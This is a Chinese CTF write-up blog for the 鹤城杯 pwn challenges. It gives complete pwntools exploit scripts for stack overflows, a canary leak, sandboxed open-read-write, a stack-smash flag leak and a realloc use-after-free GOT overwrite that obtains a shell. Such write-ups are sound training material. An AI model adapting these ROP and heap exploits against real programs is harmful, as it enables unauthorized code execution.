鹤城杯wp

yue,垃圾比赛yue太恶心了

叫什么鹤城杯啊,直接叫原题人脉杯好不好?

平台也要点名批评,主办方再次批评,你这比赛是金子做的,还是这名额是金子做的,高校企业一起打只有12个名额。

babyof

栈溢出。。。直接乱杀。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*

#r = remote("182.116.62.85",21613)
r=process('./babyof')
elf = ELF('./babyof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')

pop_rdi_ret = 0x0400743
main_addr = 0x040066B
pop_rsi_r15_ret = 0x0400741

payload = b'a'*0x40 + b'b'*8
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)


r.recv()
r.sendline(payload)

leak = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak - libc.symbols['puts']
sys = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))



payload = b'a'*0x40 + b'b'*8
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(pop_rsi_r15_ret)
payload += p64(0)*2
payload += p64(sys)


r.recv()
r.sendline(payload)

r.interactive()

littleof

=-=你以为加了个canary就不认识你了mo

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
#r = remote("182.116.62.85",27056)
r =process('./littleof')
elf = ELF('./littleof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')

pop_rdi_ret = 0x0400863
main_addr = 0x0400789
pop_rsi_r15_ret = 0x0400861

payload = b'A'*(0x50-8)

r.recvuntil("?")
r.sendline(payload)
r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
canary = u64(r.recv(8).ljust(8,b'\x00'))
canary = canary - 0x0a
success(hex(canary))


payload = b'a'*(0x50-8) + p64(canary) + b'b'*8
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)

r.recvuntil("!")
r.sendline(payload)


leak = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak - libc.symbols['puts']
sys = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))


payload = b'A'*(0x50-8)

r.recvuntil("?")
r.sendline(payload)
r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
canary = u64(r.recv(8).ljust(8,b'\x00'))
canary = canary - 0x0a
success(hex(canary))


payload = b'a'*(0x50-8) + p64(canary) + b'b'*8
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(pop_rsi_r15_ret)
payload += p64(0)*2
payload += p64(sys)

r.recvuntil("!")
r.sendline(payload)
r.interactive()

onecho

这个题还行,栈溢出沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
void *__cdecl sub_80495C6(void *dest, int a2)
{
char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
int v4; // [esp+10Ch] [ebp-Ch]

v4 = 0;
__isoc99_scanf(&unk_804A363, s);
v4 = strlen(s);
if ( v4 < a2 )
return memcpy(dest, s, v4 + 1);
puts("[?] Error?");
return memcpy(dest, s, a2 - 1);
}

scanf(%s,s);造成的栈溢出,但是开了沙盒直接orw或者orp都可以读flag

orw远程的时候记得open要用只读模式,不然权限不够打不开啊哈

开始是蛮纠结绕开大小检测判断那个变量的,a2在bp下面强行覆盖破坏栈帧。

1
if ( v4 < a2 )

其实后来想明白了寄存器不只可以用于64位,32位不是不能用,只是原本不需要

但是我们可以人为调用从而达到传参的效果。

exp

orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#encoding:utf-8
from pwn import *
#context.log_level = 'debug'

r = process("./onecho")
#r = remote("182.116.62.85",24143)
elf = ELF("./onecho")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc = ELF("./libc.so.6")


payload = b'\x00'+b'a'*(0x10c-1)
payload += b'b'*0x4
payload += p32(0x08049022)+p32(0x0804C100)
payload += p32(elf.plt['puts'])+p32(0x08049022)+p32(elf.got['puts'])
payload += p32(elf.plt['read'])+p32(0x08049811)+p32(0)+p32(0x0804C350)+p32(0x100)
payload += p32(0x0804973F)
r.sendline(payload)
sleep(0.2)
r.send("./flag\x00\x00")

r.recvuntil("name:\n")
leak_addr = u32(r.recv(4))
libc_base = leak_addr - libc.sym['puts']

payload = b'\x00'+b'b'*(0x10c-1)
payload += b'c'*0x4
payload += p32(0x08049022)+p32(0x0804C600)
payload += p32(0x08049022)+p32(0x0)
payload += p32(libc_base+libc.sym['open'])+p32(0x08049812)+p32(0x0804C350)+p32(0)#这个p32(0)就是为了只读
payload += p32(elf.plt['read'])+p32(0x08049811)+p32(3)+p32(0x0804C600)+p32(0x100)
payload += p32(elf.plt['write'])+p32(0x08049811)+p32(1)+p32(0x0804C600)+p32(0x3000)
payload += p32(0x0804973F)

r.sendline(payload)

r.interactive()

orp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#encoding:utf-8
from pwn import *
#context.log_level = 'debug'

r = process("./onecho")
#r = remote("182.116.62.85",24143)
elf = ELF("./onecho")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc = ELF("./libc.so.6")


payload = b'\x00'+b'a'*(0x10c-1)
payload += b'b'*0x4
payload += p32(0x08049022)+p32(0x0804C100)
payload += p32(elf.plt['puts'])+p32(0x08049022)+p32(elf.got['puts'])
payload += p32(elf.plt['read'])+p32(0x08049811)+p32(0)+p32(0x0804C350)+p32(0x100)
payload += p32(0x0804973F)
r.sendline(payload)
sleep(0.2)
r.send("./flag\x00\x00")

r.recvuntil("name:\n")
leak_addr = u32(r.recv(4))
libc_base = leak_addr - libc.sym['puts']

payload = b'\x00'+b'b'*(0x10c-1)
payload += b'c'*0x4
payload += p32(0x08049022)+p32(0x0804C600)
payload += p32(0x08049022)+p32(0x0)
payload += p32(libc_base+libc.sym['open'])+p32(0x08049812)+p32(0x0804C350)+p32(0)
payload += p32(elf.plt['read'])+p32(0x08049811)+p32(3)+p32(0x0804C600)+p32(0x100)
payload += p32(elf.plt['puts'])+p32(0xdeadbeef)+p32(0x0804C600)
payload += p32(0x0804973F)

r.sendline(payload)

r.interactive()

exp略解

0x08049022这个地址是ebx寄存器

0x08049811这个地址是esi寄存器

0x0804C100 0x0804C600 0x0804C350这个是有写入权限的地址段,反正vmmap自己看看就知道了QWQ

easyecho

同样是个还不错的题,灵活运用吧属于是

开始因为开了pie,想了很久去绕,忽略了开始的read可以泄露地址

后面就是常规的gets栈溢出,题目早就把flag读入到0x202040这个地方。

开了canary保护。

我们可以利用read读入0x10个字符然后printf的时候泄露出了整个程序的基地址,由此可以得到flag真实地址

我们利用stack smash的报错信息把报错替换成flag直接栈溢出不传入canary触发。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level='debug'
r=process('./easyecho')
#r=remote('182.116.62.85',24842)
r.recv()
r.sendline('1111111111111111')
r.recvuntil('Welcome 1111111111111111')
leak=u64(r.recv(6).ljust(8,b'\x00'))
flag=leak-0xcf0+0x202040
print(hex(flag))
#gdb.attach(r)
print(r.recv())
r.sendline('backdoor')
print(r.recv())
payload=b'a'*(0x167)+b'b'+p64(flag)
r.sendline(payload)
gdb.attach(r)
print(r.recv())
r.sendline("exitexit")
r.interactive()

exp略解

这个题麻烦就在找stack smash那条链我的技巧就是首先找到如下这段信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> search ./easyecho
warning: Unable to access 16000 bytes of target memory at 0x7fd624c16d09, halting search.
[stack] 0x7fffa0a6a280 './easyecho'
[stack] 0x7fffa0a6afed './easyecho'

... ↓
429:21480x7fffa0a6a280 ◂— './easyecho'
42a:21500x7fffa0a6a288 ◂— 0x4f444e4957006f68 /* 'ho' */
42b:21580x7fffa0a6a290 ◂— 'WID=58720266'
42c:21600x7fffa0a6a298 ◂— 0x4e414d0036363230 /* '0266' */
42d:21680x7fffa0a6a2a0 ◂— 'DATORY_PATH=/usr/share/gconf/ubuntu.mandatory.path'
42e:21700x7fffa0a6a2a8 ◂— 'ATH=/usr/share/gconf/ubuntu.mandatory.path'
42f:21780x7fffa0a6a2b0 ◂— '/share/gconf/ubuntu.mandatory.path'
430:21800x7fffa0a6a2b8 ◂— 'conf/ubuntu.mandatory.path'
431:21880x7fffa0a6a2c0 ◂— 'ntu.mandatory.path'
432:21900x7fffa0a6a2c8 ◂— 'atory.path'
433:21980x7fffa0a6a2d0 ◂— 0x475f474458006874 /* 'th' */
434:21a0│ 0x7fffa0a6a2d8 ◂— 'REETER_DATA_DIR=/var/lib/lightdm-data/q'
435:21a8│ 0x7fffa0a6a2e0 ◂— 'ATA_DIR=/var/lib/lightdm-da

stack smash输出的是0x7fffa0a6a280这里面的内容,然后指向这个地方的链表在我们每次输入后的地方下断点可以看见

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> stack 100000
00:0000│ rsp 0x7fffa0a68138 —▸ 0x7fd624ac95f8 (_IO_file_underflow+328) ◂— cmp rax, 0
01:00080x7fffa0a68140 —▸ 0x7fffa0a681b0 ◂— 0x6161616161616161 ('aaaaaaaa')
02:00100x7fffa0a68148 —▸ 0x7fd624e138e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
03:00180x7fffa0a68150 —▸ 0x7fffa0a681b0 ◂— 0x6161616161616161 ('aaaaaaaa')
04:00200x7fffa0a68158 —▸ 0x7fd624aca61e (_IO_default_uflow+14) ◂— cmp eax, -1
05:00280x7fffa0a68160 —▸ 0x7fd624e138e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
06:00300x7fffa0a68168 —▸ 0x7fd624abdef5 (gets+357) ◂— cmp eax, -1
07:00380x7fffa0a68170 —▸ 0x7fffa0a681b0 ◂— 0x6161616161616161 ('aaaaaaaa')
08:00400x7fffa0a68178 —▸ 0x556850dd70bc ◂— 'backdoor'
09:00480x7fffa0a68180 —▸ 0x556850dd70c5 ◂— js 0x556850dd7131 /* 'exitexit' */
0a:00500x7fffa0a68188 —▸ 0x556850dd6b1d ◂— lea rsi, [rip + 0x58b]
0b:00580x7fffa0a68190 ◂— 0x3131313131313131 ('11111111')
... ↓
0d:00680x7fffa0a681a0 —▸ 0x556850dd6cf0 ◂— push rbx
0e:00700x7fffa0a681a8 ◂— 0x0
0f:00780x7fffa0a681b0 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓
3c:01e00x7fffa0a68318 —▸ 0x7fffa0a6a200 ◂— 0x0
3d:01e80x7fffa0a68320 ◂— 0x0

也就是地址0x7fffa0a6a200这个地方一直到0x7fffa0a6a280都是空白的这个不重要,我们只需要把这个地址替换成flag 的地址就好了,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> stack 100
00:0000│ rsp 0x7fff9228d5a8 —▸ 0x7f4c2a0f65f8 (_IO_file_underflow+328) ◂— cmp rax, 0
01:00080x7fff9228d5b0 —▸ 0x7fff9228d620 ◂— 0x6161616161616161 ('aaaaaaaa')
02:00100x7fff9228d5b8 —▸ 0x7f4c2a4408e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
03:00180x7fff9228d5c0 —▸ 0x7fff9228d620 ◂— 0x6161616161616161 ('aaaaaaaa')
04:00200x7fff9228d5c8 —▸ 0x7f4c2a0f761e (_IO_default_uflow+14) ◂— cmp eax, -1
05:00280x7fff9228d5d0 —▸ 0x7f4c2a4408e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
06:00300x7fff9228d5d8 —▸ 0x7f4c2a0eaef5 (gets+357) ◂— cmp eax, -1
07:00380x7fff9228d5e0 —▸ 0x7fff9228d620 ◂— 0x6161616161616161 ('aaaaaaaa')
08:00400x7fff9228d5e8 —▸ 0x55e3d24b60bc ◂— 'backdoor'
09:00480x7fff9228d5f0 —▸ 0x55e3d24b60c5 ◂— js 0x55e3d24b6131 /* 'exitexit' */
0a:00500x7fff9228d5f8 —▸ 0x55e3d24b5b1d ◂— lea rsi, [rip + 0x58b]
0b:00580x7fff9228d600 ◂— 0x3131313131313131 ('11111111')
... ↓
0d:00680x7fff9228d610 —▸ 0x55e3d24b5cf0 ◂— push rbx
0e:00700x7fff9228d618 ◂— 0x0
0f:00780x7fff9228d620 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓
3c:01e00x7fff9228d788 —▸ 0x55e3d26b7040 (__bss_start+48) ◂— 'flag{13131312}\n'

到时候他就很老实的报错带出flag了

PWNI

=-=什么国赛原题啊(战术后仰)ciscn_2018_supermarket,拿了个原题就算了还不给libc,还好buu的可以用

虽然是原题还是简单分析下吧

image

这个表情对应了我打你们鹤城的心情,没什么别的意思,就是意思意思。就算是ak了也没有任何的喜悦,啊哈。

这个题的问题就这与改描述的时候用到了realloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int bug()
{
int v1; // [esp+8h] [ebp-10h]
int size; // [esp+Ch] [ebp-Ch]

v1 = sub_8048DC8();
if ( v1 == -1 )
return puts("not exist");
for ( size = 0; size <= 0 || size > 256; size = myread() )
printf("descrip_size:");
if ( *((_DWORD *)(&s2)[v1] + 5) != size )
realloc(*((void **)(&s2)[v1] + 6), size);
printf("description:");
return sub_8048812(*((_DWORD *)(&s2)[v1] + 6), *((_DWORD *)(&s2)[v1] + 5));
}

我们利用realloc的特性:

当重新分配的new_size < pre_size, 返回原指针; new_size > pre_size释放原原指针, 重新分配内存. 但数组中的s指针并没有改成新分配的堆指针, 仍指向已释放的, 这点很重要. 此时又分配一个node, 恰好是这个已释放的堆, 那么上一个堆就可以编辑这个新分配的堆,
说白了就是UAF的一种。

利用 uaf 修改 obj->desc_ptratoi@got , 泄露 libc, 使用 libc-database 找到相应的 libc

修改 atoi@gotsystem ,然后 输入 sh , getshell

修改前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/128wx 0x97b0000
0x97b0000: 0x00000000 0x00000021 0x00000030 0x00000000
0x97b0010: 0x00000000 0x00000000 0x00000050 0x0000001c
0x97b0020: 0x097b0028 0x00000021 0x00000000 0x00000000
0x97b0030: 0x00000000 0x00000000 0x00000000 0x00000000
0x97b0040: 0x00000000 0x00000021 0x00000031 0x00000000
0x97b0050: 0x00000000 0x00000000 0x00000050 0x0000001c
0x97b0060: 0x097b0068 0x00000021 0x00000034 0x00000000
0x97b0070: 0x00000000 0x00000000 0x00000050 0x00000090
0x97b0080: 0x097b0140 0x00000021 0x00000032 0x00000000
0x97b0090: 0x00000000 0x00000000 0x00000050 0x0000001c
0x97b00a0: 0x097b00a8 0x00000021 0x00000000 0x00000000
0x97b00b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x97b00c0: 0x00000000 0x00000021 0x00000033 0x00000000
0x97b00d0: 0x00000000 0x00000000 0x00000050 0x0000001c
0x97b00e0: 0x097b00e8 0x00000021 0x00000000 0x00000000
0x97b00f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x97b0100: 0x00000000 0x00000039 0x00000000 0x00000000
0x97b0110: 0x00000000 0x00000000 0x00000000 0x00000000
0x97b0120: 0x00000000 0x00000000 0x00000000 0x00000000
0x97b0130: 0x00000000 0x00000000 0x00000000 0x00000021
0x97b0140: 0x00000000 0x00000000 0x00000000 0x00000000
0x97b0150: 0x00000000 0x00000000 0x00000000 0x00000021
0x97b0160: 0x00000035 0x00000000 0x00000000 0x00000000
0x97b0170: 0x00000050 0x00000080 0x097b0180 0x00000089

0x97b0170这个地址里面对应的0x097b0180就是内容的指针

我们修改后如下

1
2
3
4
5
6
0x97b0130:	0x00000000	0x00000000	0x00000000	0x00000021
0x97b0140: 0x00000000 0x00000000 0x00000000 0x00000000
0x97b0150: 0x00000000 0x00000000 0x00000000 0x00000021
0x97b0160: 0x00000035 0x00000000 0x00000000 0x00000000
0x97b0170: 0x00000050 0x00000090 0x0804b048 0x00000000

exp

32位的堆真是难看。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
context(log_level='debug',os='linux',arch='i386')
r= process("./supermarket")
#r=remote('182.116.62.85',27518)
def add(name, price, descrip_size, description):

r.recvuntil("your choice>> ")
r.sendline('1')
r.recvuntil("name:")

r.sendline(name)
r.recvuntil("price:")

r.sendline(str(price))
r.recvuntil("descrip_size:")

r.sendline(str(descrip_size))
r.recvuntil("description:")

r.send(description)



def free(name):
r.recvuntil("your choice>> ")
r.sendline('2')
r.recvuntil("name:")

r.sendline(name)

def list():
r.recvuntil("your choice>> ")
r.sendline('3')

def change_price(name, value):
r.recvuntil("your choice>> ")
r.sendline('4')
r.recvuntil("name:")
r.sendline(name)
r.recvuntil("input the value you want to cut or rise in:")
r.sendline(str(value))

def change_desc(name, descrip_size, description):
r.recvuntil("your choice>> ")
r.sendline('5')
r.recvuntil("name:")

r.sendline(name)
r.recvuntil("descrip_size:")

r.sendline(str(descrip_size))
r.recvuntil("description:")

r.send(description)




add('0', 80, 0x1c, '\n')
add('1', 80, 0x1c, '\n')
add('2', 80, 0x1c, '\n')
add('3', 80, 0x1c, '\n')
change_desc('1', 0x30, '\n')
add('4', 80, 0x1c, '\n')

add('5', 80, 0x80, '\n')

read_got = 0x0804B010
atoi_got = 0x0804B048

payload = p32(0x34)
payload += p32(0) * 3
payload += p32(0x50)
payload += '\x90\n'
change_desc('1', 0x1c, payload)


payload = '\x00' * (0x20 - 8)
payload += p32(0)
payload += p32(0x21)
payload += p32(0x35)
payload += p32(0) * 3
payload += p32(0x50)
payload += p32(0x90)
payload += p32(atoi_got)
gdb.attach(r)
change_desc('4', 0x90, payload + '\n')
gdb.attach(r)

list()
r.recvuntil("5: price.80, des.")

#libc = ELF("libc-2.23.so")
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
leak = u32(r.recv(4))
libc.address = leak - libc.symbols['atoi']
info("libc: " + hex(libc.address))
info("leak: " + hex(leak))

payload = p32(libc.symbols['system'])
change_desc('5', 0x90, payload + '\n')

r.recvuntil("your choice>> ")
r.sendline("sh")


r.interactive()

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信